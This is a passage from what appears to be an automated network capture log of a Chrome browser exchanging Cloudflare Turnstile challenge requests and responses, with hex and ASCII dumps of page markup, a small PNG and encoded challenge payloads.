2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 7d 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 7d 2e 66 6f 6f 74 65 72 2c 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 3a 31 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c Data Ascii: ext-decoration:none;color:#0051c3}a:hover{text-decoration:underline;color:#ee730a}.main-content{margin:8rem auto;width:100%;max-width:60rem}.footer,.main-content{padding-right:1.5rem;padding-left:1.5rem}.main-wrapper{display:flex;flex:1;flex-direction:col
2025-01-15 19:08:07 UTC	1057	IN	Data Raw: 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 7d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 68 31 20 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: ){body{background-color:#222;color:#d9d9d9}a{color:#fff}a:hover{text-decoration:underline;color:#ee730a}}</style><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="h1 zone-name-title"> <
2025-01-15 19:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49761	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:07 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:08 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 19:08:08 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ciov/aYl8T486G3w7MSeyXQzwNlp+God8jZw9Q5EdGcynclJ69fSd+YyavtrfpRAt7ZJz1P/e5NZc+ATMZxXQA==$0wsTi6yTMZ25TMxRWzZ1VQ== Server: cloudflare CF-RAY: 9028271669a172aa-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:08 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49762	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:08 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/90282705888e4357/1736968087127/5245376278095e83ad0397698ebca09b21f6a8e96189857fdd9f3acbfb30a269/dDJTGAu8S3qhIhc HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:08 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 15 Jan 2025 19:08:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-15 19:08:08 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 55 6b 55 33 59 6e 67 4a 58 6f 4f 74 41 35 64 70 6a 72 79 67 6d 79 48 32 71 4f 6c 68 69 59 56 5f 33 5a 38 36 79 5f 73 77 6f 6d 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gUkU3YngJXoOtA5dpjrygmyH2qOlhiYV_3Z86y_swomkAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-15 19:08:08 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49765	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:09 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/90282705888e4357/1736968087128/Yc_l5egEkZbT5eF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:09 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9028271d4dde335a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 59 08 02 00 00 00 88 4a 22 b3 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRYJ"IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49767	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:09 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/90282705888e4357/1736968087128/Yc_l5egEkZbT5eF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:09 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9028272128116a5e-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 59 08 02 00 00 00 88 4a 22 b3 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRYJ"IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49768	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:10 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32334 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:10 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 38 32 37 30 35 38 38 38 65 34 33 35 37 3d 44 55 48 33 59 4f 30 38 62 35 55 47 55 47 31 55 30 34 30 35 58 76 30 75 73 7a 47 54 49 47 77 33 77 48 73 71 47 65 33 47 70 75 47 71 47 54 33 4c 4b 4f 38 47 49 24 47 73 76 33 47 6d 47 4e 33 4d 48 30 4d 49 47 4f 4b 74 47 46 33 61 35 74 54 34 77 76 48 47 78 47 48 55 47 4d 73 44 48 30 4a 49 49 4a 76 24 76 4b 59 35 30 4b 4f 7a 47 71 76 30 43 6c 34 49 47 73 35 36 50 47 61 65 38 47 63 6e 50 76 76 47 30 24 33 30 51 34 47 30 51 45 4a 47 36 35 4f 47 47 51 68 76 64 45 38 38 6e 55 47 39 58 44 4d 34 77 4f 48 70 4d 68 45 76 4b 73 33 33 6d 75 74 47 79 44 42 41 69 25 32 62 6f 30 79 75 55 47 34 35 47 2b 76 6c 36 49 6d 74 74 38 58 43 4d 36 77 43 4f 33 34 64 24 5a 72 61 6d 70 68 70 37 67 44 56 45 6f 43 4c 79 72 72 4e Data Ascii: v_90282705888e4357=DUH3YO08b5UGUG1U0405Xv0uszGTIGw3wHsqGe3GpuGqGT3LKO8GI$Gsv3GmGN3MH0MIGOKtGF3a5tT4wvHGxGHUGMsDH0JIIJv$vKY50KOzGqv0Cl4IGs56PGae8GcnPvvG0$30Q4G0QEJG65OGGQhvdE88nUG9XDM4wOHpMhEvKs33mutGyDBAi%2bo0yuUG45G+vl6Imtt8XCM6wCO34d$Zramphp7gDVEoCLyrrN
2025-01-15 19:08:10 UTC	15950	OUT	Data Raw: 55 4f 62 4f 6c 47 47 30 6f 73 33 6b 76 61 48 31 4b 33 78 48 62 47 61 66 55 31 6d 74 47 78 48 4d 6a 34 75 6c 45 47 44 57 4b 57 2b 76 47 61 4b 61 33 30 34 47 61 47 30 38 47 5a 47 44 4b 61 43 45 75 47 36 48 30 48 47 55 47 4f 33 79 43 47 71 47 58 4b 30 6e 34 69 47 77 6c 24 55 47 42 47 76 76 34 5a 47 76 47 4f 76 4f 7a 69 49 47 6c 76 61 6f 47 76 47 39 76 34 31 30 51 47 4c 47 73 32 2b 59 47 35 4b 47 5a 47 62 47 79 4b 30 47 30 36 47 74 48 61 32 30 46 76 39 56 43 2b 30 76 47 50 48 34 33 47 59 33 35 48 47 4b 30 75 74 49 47 31 78 33 78 57 73 33 48 4b 47 64 47 77 48 4f 33 47 66 47 41 31 73 34 73 30 47 75 47 34 55 4f 6e 2d 49 75 79 24 49 39 47 48 76 4f 58 30 59 33 63 33 4f 35 47 35 47 48 6a 36 72 76 6b 62 77 33 4c 33 68 75 2b 4d 4f 24 65 4e 30 31 34 6e 45 76 62 32 6f Data Ascii: UObOlGG0os3kvaH1K3xHbGafU1mtGxHMj4ulEGDWKW+vGaKa304GaG08GZGDKaCEuG6H0HGUGO3yCGqGXK0n4iGwl$UGBGvv4ZGvGOvOziIGlvaoGvG9v410QGLGs2+YG5KGZGbGyK0G06GtHa20Fv9VC+0vGPH43GY35HGK0utIG1x3xWs3HKGdGwHO3GfGA1s4s0GuG4UOn-Iuy$I9GHvOX0Y3c3O5G5GHj6rvkbw3L3hu+MO$eN014nEvb2o
2025-01-15 19:08:10 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26304 Connection: close cf-chl-gen: zBWKWzTCImg2Ns+syNvEjSNEIYhZigu5HZBvnL4QWmaterzIbW9qgZONijkv+2bg$Xj5vIG0afQGkygITpy7orA== Server: cloudflare CF-RAY: 9028272768c88c1b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:10 UTC	1047	IN	Data Raw: 59 6e 74 59 69 6f 6c 39 61 56 53 52 6b 47 46 57 55 46 6d 4a 62 70 42 56 58 6e 68 77 61 35 56 38 64 48 43 52 6d 58 56 30 63 36 6c 2f 72 34 56 74 69 61 69 66 63 47 2b 78 71 4c 6c 35 6b 48 57 77 6b 4a 47 63 76 48 4f 61 6c 6e 61 50 6a 70 4b 44 6b 63 69 39 70 5a 2f 48 6d 49 6d 5a 72 4a 2f 49 70 73 44 56 74 4d 62 58 31 35 76 58 78 74 2b 61 31 64 6d 5a 73 72 37 63 73 72 53 6d 71 72 37 6d 75 2b 72 41 30 4b 72 4c 38 76 44 4f 73 4f 4c 55 32 72 58 6c 76 4c 32 34 32 66 73 44 77 50 6a 55 77 74 72 6d 30 51 62 30 34 74 30 4f 34 39 6f 52 38 4d 34 4a 41 63 30 43 38 75 72 50 32 41 2f 77 38 68 41 4c 43 76 6e 74 34 4f 38 41 42 66 4c 35 49 41 55 43 2b 53 38 45 4b 7a 49 71 4c 44 55 45 4e 51 6f 73 39 54 6e 73 38 51 67 38 4f 54 45 67 44 68 59 39 52 52 77 2b 4e 6a 45 36 48 54 30 Data Ascii: YntYiol9aVSRkGFWUFmJbpBVXnhwa5V8dHCRmXV0c6l/r4VtiaifcG+xqLl5kHWwkJGcvHOalnaPjpKDkci9pZ/HmImZrJ/IpsDVtMbX15vXxt+a1dmZsr7csrSmqr7mu+rA0KrL8vDOsOLU2rXlvL242fsDwPjUwtrm0Qb04t0O49oR8M4JAc0C8urP2A/w8hALCvnt4O8ABfL5IAUC+S8EKzIqLDUENQos9Tns8Qg8OTEgDhY9RRw+NjE6HT0
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 69 66 70 35 35 62 33 74 6e 64 58 52 6a 6e 35 39 37 6f 61 57 5a 61 58 75 79 66 4b 79 67 68 34 65 45 6d 35 61 64 73 58 65 76 73 35 44 43 6b 4c 36 38 77 4a 4f 64 6d 63 61 59 6a 49 54 45 68 62 6e 4a 6d 71 44 41 72 72 62 4b 72 74 69 56 78 71 71 36 70 37 6d 39 34 4c 4c 43 75 36 4c 4f 74 35 72 6a 75 73 6e 59 79 4b 32 38 76 72 76 77 36 71 2f 71 72 64 62 4f 38 64 44 61 32 4d 7a 4b 79 66 4d 41 38 50 44 5a 2b 4e 76 34 42 74 51 42 41 67 44 32 43 41 6e 68 37 77 54 4b 30 76 37 52 35 76 41 4d 35 2b 6a 55 38 67 6a 36 34 42 2f 35 49 2f 62 76 4a 52 4d 45 4b 65 48 31 44 52 73 73 37 78 44 6e 4e 50 30 48 48 67 49 35 4b 52 73 47 4e 7a 59 47 45 6a 30 5a 47 77 41 31 4d 52 4d 38 52 7a 46 4c 4f 79 70 43 42 67 77 6a 49 68 30 71 45 6b 55 79 45 53 55 52 47 6b 4e 47 4d 44 49 59 54 55 Data Ascii: ifp55b3tndXRjn597oaWZaXuyfKygh4eEm5adsXevs5DCkL68wJOdmcaYjITEhbnJmqDArrbKrtiVxqq6p7m94LLCu6LOt5rjusnYyK28vrvw6q/qrdbO8dDa2MzKyfMA8PDZ+Nv4BtQBAgD2CAnh7wTK0v7R5vAM5+jU8gj64B/5I/bvJRMEKeH1DRss7xDnNP0HHgI5KRsGNzYGEj0ZGwA1MRM8RzFLOypCBgwjIh0qEkUyESURGkNGMDIYTU
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 70 6d 68 6f 64 71 6c 73 70 61 47 67 69 35 32 4c 62 4b 46 78 6a 71 4e 72 64 49 6d 49 68 59 32 4e 6c 61 4a 34 6b 35 32 37 6d 59 47 48 6e 38 50 45 69 4d 69 64 78 61 6a 49 6a 4d 2b 66 31 4e 4b 57 6b 72 54 53 73 39 43 7a 74 35 79 65 7a 37 32 33 34 39 69 32 36 4e 76 61 33 4b 48 6b 33 37 33 74 75 75 62 66 38 64 50 73 74 4d 72 33 35 4d 6a 6a 72 73 7a 30 39 65 76 62 31 50 33 74 7a 74 4c 6c 75 74 66 34 39 77 4c 57 34 2b 72 6a 34 2b 4d 4a 34 51 58 71 38 2b 4d 62 38 76 6a 39 45 53 41 4d 2b 79 48 75 45 42 2f 7a 4a 4f 58 78 4b 41 4d 42 39 51 59 50 4a 50 6e 72 44 6a 51 66 43 67 44 74 39 51 67 6a 4b 6a 33 37 50 2f 37 33 4b 30 4d 30 4c 78 30 59 45 53 6b 66 52 42 6c 49 43 79 68 41 51 79 73 53 48 53 63 6e 54 6b 51 30 4a 52 59 63 57 79 38 58 4c 45 42 55 4c 32 4d 62 4a 6b 4a Data Ascii: pmhodqlspaGgi52LbKFxjqNrdImIhY2NlaJ4k527mYGHn8PEiMidxajIjM+f1NKWkrTSs9Czt5yez72349i26Nva3KHk373tuubf8dPstMr35Mjjrsz09evb1P3tztLlutf49wLW4+rj4+MJ4QXq8+Mb8vj9ESAM+yHuEB/zJOXxKAMB9QYPJPnrDjQfCgDt9QgjKj37P/73K0M0Lx0YESkfRBlICyhAQysSHScnTkQ0JRYcWy8XLEBUL2MbJkJ
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 61 43 6e 59 34 57 69 63 4a 53 50 63 4b 4a 31 6f 70 61 75 70 36 2b 54 77 59 43 37 6d 4d 57 77 78 36 2b 42 68 34 69 5a 7a 4d 75 4b 75 4b 6e 43 68 4b 7a 49 70 4b 4f 6b 79 36 72 5a 6b 72 43 75 32 63 75 72 34 4d 4b 34 73 61 33 51 75 70 36 69 33 39 2b 37 75 4f 58 43 78 37 37 48 30 74 44 42 74 62 54 53 39 39 6a 6b 38 76 32 38 30 66 62 63 31 74 54 62 75 39 6e 58 30 4e 2f 32 34 64 6a 39 36 75 63 46 42 67 49 4a 2f 74 51 55 39 74 63 54 41 78 59 4c 32 41 44 77 2f 41 33 65 33 2b 37 6c 39 2f 30 48 38 68 50 35 4c 53 2f 2b 2f 53 41 67 44 76 49 68 4b 6a 49 70 38 67 72 77 2b 44 62 34 48 52 6b 51 4d 44 6b 4d 47 52 34 66 48 77 41 67 4e 45 67 6a 42 30 35 44 47 30 46 4c 49 51 34 52 53 51 38 73 52 31 77 32 54 42 52 62 55 6c 51 62 4d 32 45 34 4d 46 67 35 61 53 6b 70 62 53 31 72 Data Ascii: aCnY4WicJSPcKJ1opaup6+TwYC7mMWwx6+Bh4iZzMuKuKnChKzIpKOky6rZkrCu2cur4MK4sa3Qup6i39+7uOXCx77H0tDBtbTS99jk8v280fbc1tTbu9nX0N/24dj96ucFBgIJ/tQU9tcTAxYL2ADw/A3e3+7l9/0H8hP5LS/+/SAgDvIhKjIp8grw+Db4HRkQMDkMGR4fHwAgNEgjB05DG0FLIQ4RSQ8sR1w2TBRbUlQbM2E4MFg5aSkpbS1r
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 32 55 68 4b 57 51 75 4c 56 31 6c 4b 6d 30 74 36 75 5a 73 5a 50 43 66 4b 57 55 6f 35 54 4a 74 4a 57 2f 6a 35 72 4f 6a 61 4b 65 77 37 57 54 6f 64 62 58 6d 37 43 31 7a 4e 50 55 72 2b 47 74 6d 2b 53 37 32 73 6d 33 36 38 71 39 7a 4c 6a 4f 35 63 7a 6b 35 62 33 67 34 4d 2f 4c 74 62 72 6d 72 76 7a 75 38 2b 2b 34 76 2f 76 79 77 74 63 42 42 41 6f 48 39 2b 76 6b 42 66 44 2b 34 73 34 55 44 2b 59 41 7a 65 2f 73 30 77 73 57 2f 51 63 53 45 67 49 62 48 42 7a 69 44 79 63 59 2f 41 58 31 48 75 6e 34 43 79 73 71 36 7a 51 69 46 2b 38 4a 4d 66 59 52 43 44 49 7a 39 77 38 33 2f 52 30 76 4e 79 38 52 4a 55 51 64 4a 52 64 44 43 55 4e 4f 51 45 6f 68 56 45 35 4f 50 79 6c 4f 51 6b 63 32 55 44 46 48 4b 46 4d 65 4e 56 52 61 49 56 63 68 57 53 5a 42 50 6c 74 6d 58 32 39 69 4c 32 39 4e 59 Data Ascii: 2UhKWQuLV1lKm0t6uZsZPCfKWUo5TJtJW/j5rOjaKew7WTodbXm7C1zNPUr+Gtm+S72sm368q9zLjO5czk5b3g4M/Ltbrmrvzu8++4v/vywtcBBAoH9+vkBfD+4s4UD+YAze/s0wsW/QcSEgIbHBziDycY/AX1Hun4Cysq6zQiF+8JMfYRCDIz9w83/R0vNy8RJUQdJRdDCUNOQEohVE5OPylOQkc2UDFHKFMeNVRaIVchWSZBPltmX29iL29NY
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 71 64 37 46 31 6c 71 42 2b 6b 72 53 36 78 62 65 68 70 5a 2b 62 70 34 57 32 70 71 32 49 70 36 6d 76 70 4b 65 6f 74 4b 57 76 32 37 66 51 75 37 76 51 76 4e 61 7a 30 4b 44 61 72 39 61 6b 79 36 76 43 7a 74 72 4f 33 71 7a 41 77 4f 44 55 74 62 50 6c 36 2b 62 4e 36 63 76 50 7a 4e 69 34 38 64 72 68 2b 38 62 6d 34 4d 44 47 33 2f 59 41 41 75 66 6f 79 2b 50 70 38 66 4c 77 36 41 66 6f 43 2b 62 7a 2b 42 4c 56 44 74 77 50 2b 68 45 47 45 2f 63 56 35 42 37 36 48 53 4d 75 49 41 6f 4f 43 41 51 51 37 52 38 50 46 76 41 51 45 68 67 4e 45 42 45 64 44 68 68 45 49 44 6b 6b 4a 44 6b 71 49 52 63 38 4b 51 59 4d 50 67 77 46 48 45 4d 52 52 79 30 79 46 56 49 62 50 56 41 38 4b 7a 73 75 49 30 4a 57 48 6c 49 7a 52 46 78 71 62 45 64 4c 4f 44 74 62 5a 43 39 52 55 6b 5a 72 51 47 63 30 62 54 Data Ascii: qd7F1lqB+krS6xbehpZ+bp4W2pq2Ip6mvpKeotKWv27fQu7vQvNaz0KDar9aky6vCztrO3qzAwODUtbPl6+bN6cvPzNi48drh+8bm4MDG3/YAAufoy+Pp8fLw6AfoC+bz+BLVDtwP+hEGE/cV5B76HSMuIAoOCAQQ7R8PFvAQEhgNEBEdDhhEIDkkJDkqIRc8KQYMPgwFHEMRRy0yFVIbPVA8KzsuI0JWHlIzRFxqbEdLODtbZC9RUkZrQGc0bT
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 66 37 4b 41 6d 34 4b 32 6d 59 4f 54 75 34 65 2b 6d 37 36 67 78 70 33 44 79 36 53 67 79 62 6d 6a 6c 73 69 39 79 71 37 50 6e 4b 79 73 30 37 57 77 76 4e 61 6b 74 4c 6e 62 34 37 79 36 33 36 7a 45 76 2b 4c 56 72 38 4c 6e 32 64 54 4b 36 4d 33 59 7a 75 37 68 31 4e 48 31 35 64 7a 56 39 67 44 59 32 50 6a 74 35 38 72 2b 7a 4e 7a 6f 41 38 38 4c 34 67 66 35 37 4f 51 4c 32 50 7a 6e 44 2f 48 62 37 52 50 67 41 4f 49 59 49 50 7a 30 47 51 37 38 2b 43 49 53 42 66 30 6b 46 68 45 47 4b 50 51 5a 43 69 77 30 43 52 55 76 4f 42 30 4d 4e 41 45 56 46 7a 67 5a 50 78 51 38 52 41 67 61 51 41 30 68 48 55 4e 4d 4d 53 4e 46 4f 69 6b 70 54 6a 34 39 4b 55 30 79 51 54 42 55 58 44 41 6a 56 30 6c 62 51 56 73 70 56 7a 78 67 55 6b 6b 2b 59 32 78 56 52 57 70 61 57 55 5a 72 58 6c 56 4c 63 48 68 Data Ascii: f7KAm4K2mYOTu4e+m76gxp3Dy6Sgybmjlsi9yq7PnKys07WwvNaktLnb47y636zEv+LVr8Ln2dTK6M3Yzu7h1NH15dzV9gDY2Pjt58r+zNzoA88L4gf57OQL2PznD/Hb7RPgAOIYIPz0GQ78+CISBf0kFhEGKPQZCiw0CRUvOB0MNAEVFzgZPxQ8RAgaQA0hHUNMMSNFOikpTj49KU0yQTBUXDAjV0lbQVspVzxgUkk+Y2xVRWpaWUZrXlVLcHh
2025-01-15 19:08:10 UTC	1369	IN	Data Raw: 62 71 67 74 6f 58 46 69 61 2b 68 77 71 69 2f 73 73 32 52 74 36 6e 4b 73 4d 57 58 33 5a 6a 52 76 36 4b 69 76 4e 76 5a 35 4e 6e 4a 77 4c 76 4c 70 4d 44 41 32 61 79 72 75 2b 4c 72 35 65 54 51 37 2b 33 34 37 64 33 55 79 76 44 52 75 76 4c 78 30 64 7a 59 38 63 54 43 41 77 44 47 2f 66 77 42 37 77 66 79 41 41 6e 57 30 41 7a 53 43 2b 73 4e 37 64 59 64 44 75 38 6a 2b 41 37 30 4a 69 4d 61 43 4f 4c 71 46 53 54 6d 4b 42 37 39 43 51 55 64 38 4f 34 30 4b 51 72 79 4e 53 6f 4d 4c 78 55 70 45 55 49 37 4e 69 51 36 42 7a 52 41 41 77 55 36 47 69 55 68 4f 6b 67 4c 51 30 55 68 56 6c 67 33 55 43 68 47 53 69 6f 31 4d 55 78 59 47 32 52 44 58 44 52 53 57 54 6f 6a 62 45 74 6b 4f 46 70 65 50 6b 6c 46 58 56 59 76 65 46 64 77 52 47 5a 74 54 6a 65 41 